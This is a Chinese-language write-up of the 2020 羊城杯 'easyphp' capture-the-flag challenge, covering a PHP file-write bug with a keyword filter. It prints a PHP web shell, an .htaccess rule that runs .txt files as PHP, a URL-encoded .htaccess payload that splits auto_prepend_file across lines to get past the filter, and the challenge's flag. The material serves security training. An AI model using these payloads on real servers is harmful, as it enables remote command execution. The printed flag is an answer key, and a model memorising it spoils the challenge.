[羊城杯2020]easyphp

羊城杯2020easyphp

打开题目便是一段代码

复制代码
<?php
// 使用 scandir 函数扫描当前目录(即 ./ 表示的当前目录),将目录下的所有文件和文件夹名存储到 $files 数组中
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
        // 检查当前文件是否不是 "index.php"
            if ($file !== "index.php") {
            //如果不是使用unlink函数删除文件
                unlink($file);
            }
            //扫描当前目录 (./) 下的所有文件。如果是文件且文件名不是 index.php,则直接删除 
            //确保每次请求开始时,目录下只有 index.php 这一个文件,防止之前的上传文件残留
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }  //检查 URL 参数中是否同时存在 content 和 filename。如果缺少任一参数,则高亮显示当前源代码并终止脚本
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    } //获取 content 参数,并使用 stristr函数来检查$content中是否包含以下关键词on html type flag upload file,如果包含则输出 "Hacker" 字符串,然后终止脚本的执行
    $filename = $_GET['filename']; 
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();   //强制要求文件名只能由小写字母(a-z)和点号(.)组成,一旦包含数字、大写字母、下划线或路径符号等其他任何字符,立即拦截并报错。
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>  //先清空当前目录下除 index.php 外的所有文件,随后将用户提交的内容(末尾自动追加"Hello, world")写入到指定文件名中。
.htaccess文件

.htaccess(Hypertext Access)文件是 Apache 服务器的一个配置文件,它允许用户在目录级别上对服务器进行配置,而无需修改主服务器配置文件。通过 .htaccess 文件,可以实现诸如 URL 重写、访问 控制 、文件类型映射MIME 类型以及文件处理程序等功能。

允许用户在不修改主服务器配置文件的情况下,对特定目录及其子目录进行个性化的配置。它为网站管理员提供了灵活的方式来定制服务器的行为,而无需直接操作服务器的主配置文件

利用 .htaccess 文件写入 Web Shell 的原理

如果服务器允许使用 .htaccess 文件,并且对用户上传的 .htaccess 文件没有进行严格的过滤和验证,可以上传包含恶意配置的 .htaccess 文件,将普通文件解析为 PHP 代码,从而实现 Web Shell 的功能。

基本步骤:
  1. 构造恶意 .htaccess 文件

将 .txt 文件解析为 PHP 代码

复制代码
<FilesMatch "\.txt$">
        SetHandler application/x-httpd-php
    </FilesMatch>

上述代码的作用是将所有扩展名为 .txt 的文件按照 PHP 代码进行解析。

  1. 上传恶意 .htaccess 文件

需要找到一个允许文件上传的漏洞点,将构造好的 .htaccess 文件上传到服务器的目标目录。

  1. 上传包含 Web Shell 代码的 .txt 文件

上传一个包含 PHP Web Shell 代码的 .txt 文件

复制代码
<?php
    if(isset($_REQUEST['cmd'])){
        system($_REQUEST['cmd']);
    }
    ?>

上述代码是一个简单的 Web Shell,通过 GET 或 POST 请求传递 cmd 参数,可以执行任意系统命令。

  1. 访问 Web Shell

上传成功后,可以通过访问 .txt 文件并传递 cmd 参数来执行系统命令

复制代码
http://example.com/path/to/shell.txt?cmd=ls

构造 payload

复制代码
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

这个 payload 是通过构造特定的请求参数,尝试利用 .htaccess 文件的配置功能来执行恶意代码,以达到读取服务器上可能存在的 flag 文件内容的目的,通常应用于存在文件上传或参数可控漏洞的 Web 应用场景。

讲解:
  1. filename=.htaccess

这部分指定了文件名。当服务器接收这个请求并处理文件写入操作时,会将后续的内容写入到名为 .htaccess 的文件中。.htaccess 文件是 Apache 服务器的一个分布式配置文件,允许在目录级别对服务器进行配置,攻击者可利用它来改变服务器对文件的处理方式或执行特定操作。

2.content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

这部分是要写入 .htaccess 文件的内容,由于是 URL 编码后的形式,需要先进行解码。解码后内容为:

plaintext

复制代码
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>

php_value auto_prepend_fil\ 和 e .htaccess:

这里利用了换行和拼接的技巧。正常的 PHP 指令是 php_value auto_prepend_file,用于指定在执行 PHP 脚本 之前自动包含的文件。攻击者将这个指令拆分成两行,中间用反斜杠 \ 进行换行拼接,最终目的是让服务器将 .htaccess 文件自身作为预处理文件包含进来。这样,后续在执行该目录下的 PHP 脚本时,会先执行 .htaccess 文件中的内容。

#<?php system('cat /fla?');?>:

这部分虽然看起来是一个注释,实际上是攻击者的恶意代码。# 在 .htaccess 文件中是注释符号,但当 .htaccess 文件被当作 PHP 代码执行时,# 就失去了注释的作用。<?php system('cat /fla?');?> 是一段 PHP 代码,system 函数用于执行系统命令,cat /fla? 表示尝试读取以 fla 开头的文件内容,可能是为了获取服务器上存储的 flag 文件。

所以payload:

复制代码
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

flag{69732333-274f-4f5f-b057-18b0fa62b0d7}

相关推荐
两个人的幸福8 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820711 天前
PHP 扩展——从入门到理解
php
鹏仔先生12 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下12 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
treesforest12 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
xingpanvip12 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
上海云盾第一敬业销售12 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手13 天前
l33t-hoster
学习·web安全·网络安全